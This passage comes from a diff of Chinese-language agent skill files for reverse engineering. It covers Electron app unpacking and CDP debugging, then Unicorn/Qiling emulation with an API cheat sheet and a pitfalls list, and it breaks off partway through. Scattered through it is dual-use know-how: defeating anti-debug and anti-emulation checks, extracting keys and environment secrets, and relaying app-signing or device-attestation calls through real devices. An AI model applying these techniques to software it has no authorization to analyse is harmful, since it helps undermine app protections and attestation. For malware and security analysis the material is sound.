- 改包前先 `npx @electron/fuses read --app <可执行文件>` 看 `EnableEmbeddedAsarIntegrityValidation` / `OnlyLoadAppFromAsar`——完整性校验开启时替换 app.asar 会导致启动失败(见坑 2)
|
||||
|
||||
3. **主进程入口与逻辑**:
|
||||
- 解包后读 `out/package.json` 的 `main` 字段 → 主进程入口 JS(默认 `main.js`)
|
||||
- 主进程是 Node 环境:require 链、`app`/`BrowserWindow`/`ipcMain` 调用即业务骨架;IPC handler(`ipcMain.handle/on`)是主/渲染通信枢纽,先列全
|
||||
- 主进程逻辑可被 `ELECTRON_RUN_AS_NODE=1 <可执行文件> script.js` 以纯 Node 方式复用(同一 V8/Node ABI,见坑 3 的边界)——不依赖 electron API 的部分可离线跑通观察行为
|
||||
- 主进程打包为 `.jsc` 的场景:`ELECTRON_RUN_AS_NODE` 下 `require('bytenode')` 加载 .jsc(版本必须匹配,见坑 1)
|
||||
|
||||
4. **渲染进程 JS 还原**:
|
||||
- 渲染代码一般打包在 `out/` 某子目录(webpack/browserify/rollup bundle,常混淆、压缩成一行)
|
||||
- 还原顺序:确定入口 HTML(BrowserWindow 的 loadFile/loadURL 参数)→ 找 `<script>` 引用的 bundle → 美化(js-beautify 类)→ 字符串定位(strings/`xxd`)→ 混淆层走 [[re-script-deob]] / [[re-deobfuscate]]
|
||||
- 渲染进程密钥/逻辑提取以字符串引用(硬编码密钥、API 域名、特征常量)为锚点展开
|
||||
- `.jsc` 文件出现时跳到坑 1 的边界处理(不可当 JS 文本解析)
|
||||
|
||||
5. **原生模块 `.node`**:
|
||||
- 定位:`app.asar.unpacked/**/*.node`(以及解包后 require 路径指向的 .node)
|
||||
- 识别:`file xxx.node`(ELF/Mach-O/PE + 架构)、`readelf -h`(Linux);`.node` 即动态库,走 [[re-format-elf]] / [[re-format-macho]] / [[re-format-pe]] 前置 → [[re-ghidra]] / [[re-ida]] / [[re-radare2]] 反编译,C++ 语义走 [[re-cpp-abi]]
|
||||
- NODE_MODULE_VERSION(`process.versions.modules`)与 Electron 版本一一对应,用错版本加载 .node 会报 ABI 错误——可借此确认目标 Electron 版本
|
||||
- 导出函数即 N-API/V8 接口层,从导出表 + JS 侧调用点交叉定位业务函数(联动 [[re-imports]])
|
||||
|
||||
6. **动态 CDP 调试**:
|
||||
```sh
|
||||
# 主进程(Node/V8 Inspector,默认端口 9229)
|
||||
<可执行文件> --inspect=9229
|
||||
<可执行文件> --inspect-brk=9229 # 启动即暂停,等调试器
|
||||
# 渲染进程(Chromium CDP,默认端口 9222)
|
||||
<可执行文件> --remote-debugging-port=9222
|
||||
```
|
||||
- 启动前先 `npx @electron/fuses read --app <可执行文件>`:`EnableNodeCliInspectArguments` 为 Disabled 时 `--inspect`/`--inspect-brk` 被忽略(SIGUSR1 也不再开 inspector)——此时只能走渲染进程 CDP 或 [[re-frida]] 注入
|
||||
- 渲染进程连接流程:
|
||||
```sh
|
||||
curl -s http://127.0.0.1:9222/json/list # 列 targets(title/url/webSocketDebuggerUrl)
|
||||
```
|
||||
用 chrome-remote-interface 连 `webSocketDebuggerUrl`,`Runtime.evaluate` 执行任意 JS、`Console.enable` 收日志、`Page.captureScreenshot` 截图;主进程同法连 `--inspect` 端口
|
||||
- 端口以 `/json/list` 实际响应为准,别猜固定端口(应用可能占用/修改);窗口未创建时 target 不会出现,先在 UI 触发再枚举
|
||||
- 单实例锁(`app.requestSingleInstanceLock()` 常见)导致二次启动直接退出——用 `--user-data-dir=<新目录>` 或先结束现有实例
|
||||
- 浏览器页面里连 CDP 的 WebSocket 受 Origin 检查(Chrome 111+):加 `--remote-allow-origins=*`;Node 客户端无 Origin 头不受影响
|
||||
- 运行时信息取证:`Runtime.evaluate` 执行 `process.versions`(版本)、`process.env`(环境变量)、`require.cache`(已加载模块)——比静态字符串可靠
|
||||
- Linux 无显示环境用 `xvfb-run -a` 包一层再启动
|
||||
|
||||
7. **反调试对抗与数据提取**:
|
||||
- devtools/inspect 检测常见形态:查 `process.argv`/`process.execArgv` 里的 inspect 参数、DevTools 打开检测(窗口尺寸 `outerWidth - innerWidth`、console 计时)、`debugger` 语句、`process.versions` 异常校验
|
||||
- 定位检测点 → patch 跳过(改 bundle 后重新 pack asar,注意坑 2 完整性)或运行时 hook([[re-frida]])、CDP 层 `Debugger.enable` 前先绕过
|
||||
- 注入面判断:`contextIsolation`(Electron 12 起默认 true)、`sandbox`(Electron 20 起默认 true)、`nodeIntegration`(默认 false)决定 preload/渲染进程能 require 什么、CDP `Runtime.evaluate` 要选对执行上下文(主 world vs 隔离 world 的 contextId)
|
||||
- 数据提取联动:运行时内存/密钥 [[re-memdump]]、硬编码密钥 [[re-crypto-keys]]、加密数据还原 [[re-crypto-decrypt]]、系统调用/文件行为 [[re-tracing]]
|
||||
- 行为观察:`ELECTRON_ENABLE_LOGGING=1` 或 `--enable-logging` 打开 Chromium 日志,失败诊断先行
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-managed]]:托管代码网关路径(re-managed → 本技能),Electron 的 JS 层归其编排
|
||||
- [[re-script-deob]] / [[re-deobfuscate]]:渲染进程混淆 JS 还原
|
||||
- [[re-evasion]]:devtools/inspect 检测对抗方法论(本技能出目标特征,绕过策略联动)
|
||||
- [[re-format-elf]] / [[re-format-macho]] / [[re-format-pe]]:原生 `.node` 模块格式解析前置
|
||||
- [[re-cpp-abi]]:原生模块 C++ 语义(RTTI/虚表/STL)恢复
|
||||
- [[re-imports]]:.node 导出表与库指纹、Electron 版本确认辅助
|
||||
- [[re-ghidra]] / [[re-ida]] / [[re-radare2]]:原生模块反编译
|
||||
- [[re-frida]]:fuse 禁 inspect 场景的动态注入替代通道
|
||||
- [[re-memdump]] / [[re-crypto-keys]] / [[re-crypto-decrypt]]:运行时密钥与加密数据提取
|
||||
- [[re-tracing]]:动态行为观察(文件/网络/系统调用)
|
||||
- [[re-variant]]:多版本对比(补丁定位、逻辑差异)
|
||||
- [[re-game]]:Cocos 场景 `.jsc`(JS 引擎字节码)与 Electron `.jsc`(V8 字节码)的区分
|
||||
- [[re-sandbox]]:一切动态执行强制前置([[re-analyze/platform-tips]] 默认沙箱原则)
|
||||
- 配套:[[re-patching]](改 bundle 字节补丁)、[[re-triage]](初勘前置)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **`.jsc` 是 V8 字节码快照,不是 JS 文本**:现象——解出 `.jsc` 文件后 grep/美化/解析全无效,内容是不可读二进制;原因——bytenode 类工具把 JS 编译成 V8 字节码并移除源码(`Function.prototype.toString()` 被替换为桩代码,这是识别特征之一);边界——V8 字节码格式未文档化、随 V8 版本变化,目前无公开反编译工具;`node --print-bytecode`(官方 Node 构建可用)只能打印「运行中」编译出的字节码助记符,不是源码还原;对策——先确认样本 `.jsc` 的编译环境(魔数/加载器提示、`process.versions.v8` 对照),能加载就跑行为分析(strace/网络/内存),需要源码语义就找未编译的 .js 副本或 bundle map;版本锁——`.jsc` 必须由同 V8 版本、同平台/架构的 Node 或 Electron 编译才能加载,跨版本加载直接崩;Electron 42+(V8 ≥ 14.8)主进程加载的 `.jsc` 需用真实 Electron 主进程编译(bytenode `electronMain` 模式),`ELECTRON_RUN_AS_NODE` 方式编译的会在加载时崩溃(read-only snapshot 校验不匹配)——不确定的边界如实报告,不臆断源码内容
|
||||
- **asar 内路径混淆与完整性校验**:现象——解出的文件路径与 require 逻辑对不上,或改完 app.asar 应用启动即退出;原因——asar 支持任意文件名(含 `..`/编码变体),且 `EnableEmbeddedAsarIntegrityValidation` fuse 开启时 asar 内容被校验、`OnlyLoadAppFromAsar` 开启时拒绝非 asar 加载;对策——按 JSON 目录的 size/offset 而非路径语义还原;改包前先 `@electron/fuses read`,校验开启时改用运行时 hook(frida)或动态分析,不硬改归档
|
||||
- **`ELECTRON_RUN_AS_NODE` 行为差异**:现象——设了环境变量应用没按预期当 Node 跑,或主进程 `.jsc` 加载崩溃;原因——该模式下 Electron 只提供 Node 运行时(无 `electron` API、`require('electron')` 行为异常),且 `RunAsNode` fuse 为 Disabled 时该环境变量被完全忽略(连带 `process.fork()` 失效);对策——先 read fuses 确认 RunAsNode 状态;该模式只用于复跑不依赖 electron API 的逻辑,GUI/窗口代码必须走正常启动
|
||||
- **contextIsolation / sandbox 决定注入面**:现象——preload 脚本里 require 报错、CDP evaluate 拿不到页面变量;原因——Electron 12 起 contextIsolation 默认 true(渲染进程与 preload 上下文隔离)、Electron 20 起 sandbox 默认 true(preload 无完整 Node 能力)、nodeIntegration 默认 false;对策——CDP `Runtime.evaluate` 先枚举执行上下文(`Runtime.enable` 后看 contextId),区分主 world 与隔离 world 再求值;注入/读取面按这三个开关的实际配置设计
|
||||
- **fuses 改变运行能力(调试入口可能整体关闭)**:现象——`--inspect`、`--inspect-brk`、`ELECTRON_RUN_AS_NODE` 全部无效,应用像没收到参数;原因——`EnableNodeCliInspectArguments` / `RunAsNode` fuse 被翻转关闭;对策——`@electron/fuses read` 先确认;fuse 写入会改二进制并破坏签名(macOS 需重新签名,未签名时用 resetAdHocDarwinSignature 选项),这是改打包产物的最后手段,优先换 frida / 渲染进程 CDP 通道
|
||||
- **单实例锁与 CDP 端口不确定**:现象——带参数二次启动直接退出、/json/list 连不上;原因——`requestSingleInstanceLock()` 让第二个实例立即退出,CDP 端口可能被应用占用或改掉;对策——用独立 `--user-data-dir` 绕过单实例锁;端口以 `/json/list` 实际响应为准;窗口未创建时 target 未暴露,先触发 UI 再枚举
|
||||
114
vendor-new/rev-skills/.claude/skills/re-emulation/SKILL.md
Normal file
114
vendor-new/rev-skills/.claude/skills/re-emulation/SKILL.md
Normal file
@@ -0,0 +1,114 @@
|
||||
---
|
||||
name: re-emulation
|
||||
description: >
|
||||
模拟执行:Unicorn/Qiling 框架。触发词:Unicorn、Qiling、模拟执行、emulate、无硬件运行
|
||||
capabilities: [emulation]
|
||||
---
|
||||
|
||||
# 模拟执行(Unicorn / Qiling)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:目标无法在本机运行(架构/OS 不匹配、无硬件、依赖缺失);脱壳辅助(把壳内解密例程摘出来模拟执行拿明文);反调试绕过(模拟器无调试器标记,见坑 2 的例外);单函数/单代码段隔离执行验证
|
||||
- 用:不需要完整 OS 语义(无进程/线程/网络栈依赖)的确定性任务
|
||||
- 不用:需要完整 OS 环境(多线程、网络栈、完整 API 语义)→ 用 QEMU 全系统([[re-fw-emulate]])或沙箱实跑([[re-sandbox]])
|
||||
- 不用:只需动态调试([[re-gdb]] / [[re-x64dbg]] / [[re-windbg]])
|
||||
- 不用:目标在本机就能跑——沙箱内直接跑更真实([[re-analyze/platform-tips]] 最高原则),模拟留给出不来环境的场景
|
||||
|
||||
## 工具准备
|
||||
|
||||
模拟执行属动态执行,默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则);本技能三件套均为 pip 包,Linux/macOS/Windows 通用,WSL 内可直接用([[re-analyze/platform-tips]] WSL 分支)。
|
||||
|
||||
### unicorn
|
||||
|
||||
- 安装: `pip install unicorn`(Python 3)
|
||||
- 验证: `python3 -c "import unicorn; print(unicorn.__version__)"`
|
||||
- 版本: 2.x 为当前线(2.1.4 于 2025-09);2.x 钩子回调签名与 1.x 一致(`(uc, address, size, user_data)`),pip 默认装 2.x;1.x→2.x 差异见 [[gotchas]]
|
||||
|
||||
### qiling(依赖 unicorn / capstone / pefile,自动装)
|
||||
|
||||
- 安装: `pip install qiling`(当前 1.4.x)
|
||||
- 验证: `python3 -c "import qiling; print(qiling.__version__)"`(纯 import 验证,零依赖;pip wheel 不含 examples/ 与 rootfs,跑示例需 git clone 官方仓库获取)
|
||||
|
||||
### capstone(反汇编/解码输出用)
|
||||
|
||||
- 安装: `pip install capstone`
|
||||
- 验证: `python3 -c "import capstone; print(capstone.__version__)"`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果;模拟产物(内存快照/明文段)sha256 存档([[re-triage]] 存证思路)。
|
||||
|
||||
1. **场景判断**:
|
||||
- 目标是什么、模拟解决什么问题——脱壳辅助(壳的解密例程是单函数,模拟执行该例程即可得明文,不用完整跑壳)?反调试绕过(样本检测调试器但可能不检测模拟器,见坑 2)?无环境运行(架构不匹配/缺 OS)?
|
||||
- 选工具: 只跑代码段/单函数 → Unicorn(最小、可控);要文件/系统调用语义 → Qiling(自动处理系统调用);要完整 OS → 转 [[re-fw-emulate]]
|
||||
|
||||
2. **Unicorn 最小框架**:
|
||||
```python
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import *
|
||||
CODE = bytes.fromhex("b8 2a 00 00 00 c3") # mov eax, 0x2a; ret
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32)
|
||||
mu.mem_map(0x1000, 0x1000) # 先映射一页(地址页对齐)
|
||||
mu.mem_write(0x1000, CODE)
|
||||
mu.reg_write(UC_X86_REG_ESP, 0x2000) # 设好栈(不设 ESP 会崩)
|
||||
mu.emu_start(0x1000, 0x1000 + len(CODE)) # 执行到结束地址
|
||||
print(hex(mu.reg_read(UC_X86_REG_EAX))) # 0x2a
|
||||
```
|
||||
要点: 内存必须 `mem_map`(页对齐)再 `mem_write`;栈寄存器必须设;`emu_start(begin, until)` 的 until 要覆盖代码结束地址,否则跑到非法地址
|
||||
|
||||
3. **Qiling 全系统模拟**:
|
||||
```python
|
||||
from qiling import Qiling
|
||||
ql = Qiling(["rootfs/x8664_linux/bin/x8664_hello"], "rootfs/x8664_linux") # 文件名以实际 rootfs 为准;examples/ 与 rootfs 需 git clone 官方仓库获取(pip 不含)
|
||||
ql.run()
|
||||
```
|
||||
- rootfs: pip 不含 examples/ 与 rootfs,需 git clone qiling 官方仓库后取 `qiling/examples/rootfs/`(x8664_linux、arm_linux、x86_windows 等);自制 rootfs 时拷贝目标程序的 libc/ld-linux 与运行期文件进去
|
||||
- 文件/系统调用由 Qiling 接管(open/read/write 映射到 rootfs),比 Unicorn 省心(坑 1 的对策)
|
||||
- Windows 程序: `Qiling(["sample.exe"], "rootfs/x86_windows")`(该 rootfs 含 wine 基础环境,较重但可用)
|
||||
|
||||
4. **钩子(hook_code / hook_mem)**:
|
||||
```python
|
||||
def hook_code(uc, address, size, user_data):
|
||||
if address == 0x401234:
|
||||
print("hit target", hex(address))
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code) # 每指令回调
|
||||
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem) # 内存写回调(脱壳记解密落点)
|
||||
mu.hook_add(UC_HOOK_MEM_UNMAPPED, hook_bad) # 未映射访问回调
|
||||
```
|
||||
- Qiling 等价物: `ql.hook_address(fn, addr)`(地址断点)、`ql.hook_mem_read/write/unmapped`(内存类)
|
||||
- 脱壳常用: hook_mem_write 在目标区段命中时暂停/计数——拿到解密循环的写时机与明文
|
||||
|
||||
4.5. **状态保存/恢复与内存落盘**:
|
||||
- Qiling(1.1.x+): `ql.save(snapshot="stage1.qsave")` / `ql.restore(snapshot="stage1.qsave")`——多阶段解密流程分点存档,返回继续模拟
|
||||
- Unicorn: 快照需手工 `mem_read` 全部相关段 + 寄存器表落盘(`.json` + `.bin`),恢复时 `mem_map` + `mem_write` + `reg_write`;不想全量保存就用 hook 在关键点把目标区段 `mem_read` 出来存文件(脱壳明文落盘即此思路)
|
||||
- 落盘产物 sha256 存档([[re-triage]] 存证思路)
|
||||
|
||||
5. **结合 [[re-anti-analysis]] 的脱壳场景**:
|
||||
- 从壳内摘出解密例程([[re-unpack-simple]] / [[re-unpack-advanced]] 定位)→ Unicorn 加载该例程代码段 + 输入快照 → 执行 → 读输出区域 = 明文数据(字符串/关键段)
|
||||
- 或 Qiling 模拟壳程序全流程,hook 到 OEP 处 dump 内存(模拟器内存即快照,转 [[re-memdump]] 思路存档)
|
||||
- 反调试绕过: 模拟器无调试器标记,但样本可能有环境检测(坑 2)——先静态确认检测点再决定 hook 哪条路径
|
||||
- 验证: 模拟产物 sha256 + 沙箱内复跑核对([[re-sandbox]]),再回 [[re-anti-analysis]] 流程继续
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-anti-analysis]]:脱壳辅助(解密例程模拟执行)固定场景
|
||||
- [[re-binary-core]]:反编译产物/单函数逻辑的模拟验证
|
||||
- [[re-fw-emulate]]:需完整 OS/固件启动 → QEMU 全系统;本技能只管单程序/单代码段模拟,不抢该域
|
||||
- [[re-sandbox]]:模拟属动态执行,默认沙箱内进行([[re-analyze/platform-tips]] 最高原则)
|
||||
- [[re-deobfuscate]]:反混淆结果模拟执行验证
|
||||
- [[re-crypto-decrypt]]:解密算法用模拟执行求值代替手写脚本
|
||||
- [[re-memdump]]:模拟器内存快照的落盘与后续分析
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **系统调用未处理 → 崩溃**:现象——Unicorn 跑真实程序在 `syscall`/`int 2e` 处停住或报错;原因——Unicorn 不模拟内核,裸执行遇到系统调用即失败;对策——换 Qiling(自动转发系统调用,更省心);非 Qiling 场景 hook 掉目标 syscall 返回假值(hook_code 判 syscall 指令后改寄存器+跳过)
|
||||
- **自校验/环境检测样本察觉模拟**:现象——模拟结果与真实运行不符(分支走错、自毁);原因——样本用 CPUID/rdtsc 时序、API 探测(如 `GetModuleHandleA` 特殊返回)检测非真实环境;对策——先静态定位检测点([[re-triage]] / [[re-deobfuscate]]),hook 该路径返回真实环境值,或直接 patch 跳过硬校验;结论务必与真实沙箱执行交叉验证
|
||||
- **内存权限错误**:现象——执行时报 `Invalid memory read/write/fetch`;原因——访问了未映射页或只读页写;对策——按报错地址检查 `mu.mem_map` 覆盖范围与 `mu.mem_protect(addr, size, UC_PROT_ALL)`,栈页补映射并设 `UC_PROT_READ|UC_PROT_WRITE`
|
||||
- **模拟 ≠ 真实执行**:现象——依赖时间/线程的程序行为异常;原因——Unicorn 单线程、`rdtsc` 时序不可靠需 hook 处理、部分 API 语义不完整;对策——模拟只用于确定性任务(解算法、解密、脱壳摘函数),时序/多线程/网络类任务转 QEMU 或真实沙箱;模拟结论用 [[re-tracing]] 对比真实轨迹
|
||||
|
||||
- **Android so 优先 unidbg**:现象——Unicorn/Qiling 裸跑 Android .so 缺 JNI/系统调用语义跑不动;原因——so 依赖 JNI 环境(Java 回调、DVM 对象);对策——用 unidbg(Java,模拟 Android JNI + syscall),loadLibrary 后调 JNI_OnLoad 起步
|
||||
- **JNI 回调逐个补的迭代模式**:现象——模拟执行报 `UnsupportedOperationException: 类->方法(签名)`;原因——so 调用了未实现的 Java 回调,这是**正常迭代信号不是死路**;对策——按报错签名逐个实现回调(日志类/配置类/字段读写),一轮一跑,同类项目都有完整回调集可移植;**模拟产出正常结果不等于正确**——环境可能被检测返回诱饵,用真实环境/服务器响应验证
|
||||
- **iOS so 黑盒调用用 Chomper**:现象——iOS 加固/混淆 so 算法(签名类)静态还原难,想在 PC 上直接调用拿结果;原因——so 依赖 OC 运行时与特定初始化(Token/上下文);对策——Chomper(Unicorn 封装,模拟 iOS 环境)黑盒调用流程:frida-trace 先摸清初始化函数与算法调用逻辑 → **dlopen 之后做初始化**(hook dlopen 时机,frida-trace 只能看到调用看不到初始化值)→ 构造入参对象(NSMutableURLRequest 等,用 pyobj2nsobj 把 dict 转 OC 对象)→ 主动调用出结果;先初始化 Token/上下文再调算法函数,参数对象按 frida-trace 打印的完整结构构造;目标访问外部文件(如安全配置 `yw_1222.jpg`)报 ENOENT → 从原始包复制文件到样本同目录,加载模块后调用 `forward_path` 把访问映射到指定路径;实例方法先 `+[Class instance]` 取实例再调用
|
||||
- **设备侧函数 HTTP 服务化(r1rpc 模式)**:现象——能力依赖真机环境(DeviceCheck/App Attest、设备状态、SDK 上下文、反篡改校验),抠不出纯算,模拟执行也难;原因——这些函数本质是"设备侧函数",脱离环境不工作;对策——工程化黑盒:**HTTP 入口/出口 + WebSocket 设备侧通信 + 真机常驻客户端执行**:后端照常发 HTTP 请求,Server 按分组选在线设备,WebSocket 下发任务,真机执行后回传,调用方拿到的仍是标准 HTTP 响应;适用场景:iOS 设备能力、App 内部签名、必须真机/特定 SDK 的能力——比硬抠算法或硬搬后端成本低得多
|
||||
- API 速查(Unicorn/Qiling 各族命令与常数)与组合套路见 [[commands]];版本差异、内存/架构边界见 [[gotchas]]
|
||||
@@ -0,0 +1,114 @@
|
||||
# Unicorn / Qiling 命令速查与操作序列
|
||||
|
||||
两框架都是 Python 库:"命令"即 API。分工:Unicorn 只管 CPU+内存(单函数/代码段);Qiling 在 Unicorn 之上接管系统调用/文件/动态链接(程序级)。API 名以官方文档与目标版本源码为准(版本差异见 [[gotchas]])。
|
||||
|
||||
## Unicorn API 族
|
||||
|
||||
```python
|
||||
from unicorn import *
|
||||
from unicorn.x86_const import * # 按架构: arm_const / arm64_const / mips_const ...
|
||||
|
||||
mu = Uc(UC_ARCH_X86, UC_MODE_32) # 架构 × 模式
|
||||
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM | UC_MODE_BIG_ENDIAN) # armeb 大端
|
||||
|
||||
# 内存(必须先 mem_map 再 mem_write;地址与大小须页对齐)
|
||||
mu.mem_map(0x1000, 0x1000) # 一页
|
||||
mu.mem_write(0x1000, CODE) # 写代码/数据
|
||||
data = mu.mem_read(0x2000, 0x100) # 读内存(脱壳明文落盘)
|
||||
mu.mem_protect(0x1000, 0x1000, UC_PROT_ALL) # 改权限(UC_PROT_READ/WRITE/EXEC/ALL)
|
||||
mu.mem_unmap(0x1000, 0x1000)
|
||||
|
||||
# 寄存器
|
||||
mu.reg_write(UC_X86_REG_ESP, 0x2000) # 栈必须设,否则崩
|
||||
rax = mu.reg_read(UC_X86_REG_EAX)
|
||||
|
||||
# 执行
|
||||
mu.emu_start(0x1000, 0x1000 + len(CODE), timeout=0, count=0) # until 必须覆盖代码结束
|
||||
mu.emu_stop()
|
||||
|
||||
# 钩子
|
||||
mu.hook_add(UC_HOOK_CODE, hook_code) # 每指令
|
||||
mu.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, hook_mem) # 内存读写
|
||||
mu.hook_add(UC_HOOK_MEM_UNMAPPED, hook_bad) # 未映射访问(可现场补映射继续)
|
||||
mu.hook_add(UC_HOOK_MEM_FETCH, hook_fetch) # 取指(追踪执行流)
|
||||
mu.hook_add(UC_HOOK_INTR, hook_intr) # 中断(syscall 类拦截)
|
||||
mu.hook_del(handle) # 卸钩
|
||||
```
|
||||
|
||||
钩子回调签名(2.x 与 1.x 一致):
|
||||
|
||||
```python
|
||||
def hook_code(uc, address, size, user_data): ... # UC_HOOK_CODE
|
||||
def hook_mem(uc, access, address, size, value, user_data): ... # 内存类
|
||||
def hook_bad(uc, access, address, size, value, user_data): ... # 返回 True 继续
|
||||
```
|
||||
|
||||
常用常数(见 [[gotchas]] 版本组):`UC_ARCH_X86/ARM/ARM64/MIPS/RISCV`;`UC_MODE_16/32/64/ARM/THUMB/BIG_ENDIAN`;`UC_PROT_READ/WRITE/EXEC/ALL`;寄存器 `UC_X86_REG_RAX/ESP/EIP/RIP` 等。
|
||||
|
||||
## Qiling API 族
|
||||
|
||||
```python
|
||||
from qiling import Qiling
|
||||
ql = Qiling(["./rootfs/x8664_linux/bin/target", "arg1"], "./rootfs/x8664_linux")
|
||||
# 构造: Qiling(argv, rootfs, env=..., verbose=..., console=...);rootfs 下才是目标可见文件系统
|
||||
ql.run() # 或 ql.run(begin, end, timeout, count)
|
||||
ql.save(snapshot="stage1.qsave") # 状态存档(1.1.x+;reg/mem/fd 等可分别开关)
|
||||
ql.restore(snapshot="stage1.qsave") # 恢复继续
|
||||
ql.hook_address(fn, addr) # 地址断点(等价 Unicorn 按地址判断的 hook_code)
|
||||
ql.hook_code(fn) # 每指令
|
||||
ql.hook_mem_read(fn) / ql.hook_mem_write(fn) / ql.hook_mem_unmapped(fn)
|
||||
ql.mem.read(addr, size) / ql.mem.write(addr, data)
|
||||
ql.reg.read("eax") / ql.reg.write("eax", 0)
|
||||
ql.os.fs # 文件系统视图(rootfs 内路径)
|
||||
```
|
||||
|
||||
## 操作序列(组合套路)
|
||||
|
||||
### 1. 脱壳:摘出解密例程模拟执行拿明文
|
||||
|
||||
```
|
||||
静态定位解密循环([[re-unpack-simple]] / [[re-unpack-advanced]] + [[re-ghidra]])
|
||||
摘取: 代码段字节 + 入口寄存器初值(栈/数据指针)+ 输入密文区
|
||||
Unicorn 加载: mem_map 代码页+数据页+栈页 → mem_write → reg_write → emu_start
|
||||
hook_mem_write 记录目标区段写入时机 → mem_read 读出明文段 → sha256 存档
|
||||
验证: 与沙箱实跑([[re-sandbox]])解密结果对照
|
||||
```
|
||||
|
||||
### 2. 单函数逻辑验证(反编译产物 ↔ 模拟真值)
|
||||
|
||||
```
|
||||
反编译还原算法([[re-binary-core]])→ 汇编级实现提取(objdump 段)
|
||||
Unicorn 跑该段,输入用真值/边界值(0、-1、0x7fffffff)→ 输出对照反编译预期
|
||||
不一致即反编译理解有误——以模拟为准修正逻辑
|
||||
```
|
||||
|
||||
### 3. shellcode 行为分析
|
||||
|
||||
```
|
||||
从样本提取 shellcode([[re-shellcode]])→ 映射可执行页
|
||||
hook_code 记录指令序列 + hook_mem_write 记录写入(找解密循环落点)
|
||||
hook_intr 拦截 int 0x80/syscall,打印 eax 与参数(不真执行系统调用)
|
||||
产物(指令轨迹/写点)入证据目录
|
||||
```
|
||||
|
||||
### 4. Qiling 全程序模拟 + 关键点 dump
|
||||
|
||||
```
|
||||
Qiling 加载(rootfs 放好 libc/ld-linux 与输入文件)
|
||||
hook_address 到 OEP/解密完成点 → ql.save 或 ql.mem.read 落盘解密段
|
||||
ql.restore 回到存档点继续分支探索(多阶段流程用)
|
||||
```
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- **页对齐**:mem_map 的地址与大小必须页(0x1000)对齐,报 `Invalid memory` 先查对齐
|
||||
- **栈与 until 必设**:不设 ESP 进栈指令即崩;`emu_start` 的 until 必须覆盖代码结束地址,否则跑到非法地址
|
||||
- **回调里抛异常 = 静默停**:2.x 把回调异常存起来并 emu_stop,外层可能只看到"模拟提前结束"——回调内 try/except + 打印,`emu_start` 后用 `reg_read` 检查 PC 判断停在哪
|
||||
- **hook 里改 PC 可跳转**:`reg_write(UC_X86_REG_EIP, target)` 实现 patch 跳转;跳转后记得 `hook_del` 避免再进
|
||||
- **系统调用不模拟**:Unicorn 裸跑遇 syscall 即停——hook_intr 假返回或换 Qiling
|
||||
- **慢**:UC_HOOK_CODE 每指令回调是数量级开销,只在追踪段用;大数据区读写用 mem_read/mem_write 批量而非逐字节 hook
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 模拟属动态执行,默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则);模拟结论与真实沙箱执行交叉验证
|
||||
- 产物(明文段/轨迹/快照)sha256 存档([[re-triage]]);结论入 [[re-analyze/analysis-contract]]
|
||||
@@ -0,0 +1,42 @@
|
||||
# Unicorn / Qiling 工具特有坑与边界
|
||||
|
||||
## 版本差异
|
||||
|
||||
- **Unicorn 2.x 是当前线**(pip 默认;2.1.4 于 2025-09 发布):钩子回调签名与 1.x 一致(`(uc, address, size, user_data)` / 内存类 `(uc, access, address, size, value, user_data)`),但 2.0 起 C 库 API/内部行为有调整(如部分 hook 类型、PC 保证语义)——旧教程若按 1.x C API 写 python 绑定的罕见写法会失效,Python 绑定层面基本兼容
|
||||
- **Qiling 版本差异**:快照能力自 1.x 早期即有(1.1.x 起 `ql.save/restore` 已含 snapshot 参数及 reg/mem/fd 开关);1.2 起参数扩展(新增 os_context/loader 等开关);rootfs 组织(`examples/rootfs/`)随版本增删 OS profile——以 clone 的官方仓库当前结构为准
|
||||
- **capstone 5.x**:`pip install capstone` 当前 5.0.x;5.x 对部分指令的助记符输出与 4.x 有差异(`capstone.x86` 命名一致),反汇编对照脚本留意
|
||||
- **unidbg / Chomper 是独立工具**:unidbg(Java,Android JNI 模拟)与 Chomper(Unicorn 封装,iOS OC 模拟)不依赖 unicorn pip 包版本,走各自仓库 release
|
||||
|
||||
## 环境语义坑(模拟 ≠ 真实)
|
||||
|
||||
- **系统调用未处理**:Unicorn 不模拟内核,裸跑真实程序在 syscall/`int 2e` 处停或错——换 Qiling(自动转发系统调用),或 hook_intr 按 eax 号假返回
|
||||
- **环境检测**:CPUID/rdtsc 时序、API 探测(`GetModuleHandleA` 特殊返回、dladdr 查询)可被用于察觉非真实环境——先静态定位检测点([[re-triage]] / [[re-deobfuscate]]),hook 该路径返回真实环境值;结论必须与真实沙箱执行交叉验证
|
||||
- **时间/线程/网络语义缺失**:Unicorn 单线程、rdtsc 需 hook 固定、网络栈不存在——依赖这些的任务转 QEMU([[re-fw-emulate]])或真实沙箱([[re-sandbox]])
|
||||
- **加载器语义**:Unicorn 不解析 ELF/PE——手动摘段加载;Qiling 有 loader 但动态链接解析与真实 ld.so 有差异,`ql.save` 在 dlopen 之后做状态存档再分支,能避开重复解析开销
|
||||
|
||||
## 内存坑
|
||||
|
||||
- **页对齐**:mem_map 地址与大小必须 0x1000 对齐(4KB),否则报错;栈页至少 1 页(0x1000),`UC_PROT_READ|UC_PROT_WRITE`
|
||||
- **只读段写入**:`Invalid memory write` 可能不是没映射而是权限——`mem_protect(addr, size, UC_PROT_ALL)` 后重试
|
||||
- **未映射访问回调**:`UC_HOOK_MEM_UNMAPPED` 里返回 True + 现场 `mem_map` 可让模拟继续(惰性补页);但补页是模拟器行为,真实程序可能根本没有该访问——先核对是不是地址算错
|
||||
- **栈空间不足**:递归/深调用崩在栈区外——栈页多映射几页,`reg_write` 栈指针给到页顶
|
||||
|
||||
## 架构与平台坑
|
||||
|
||||
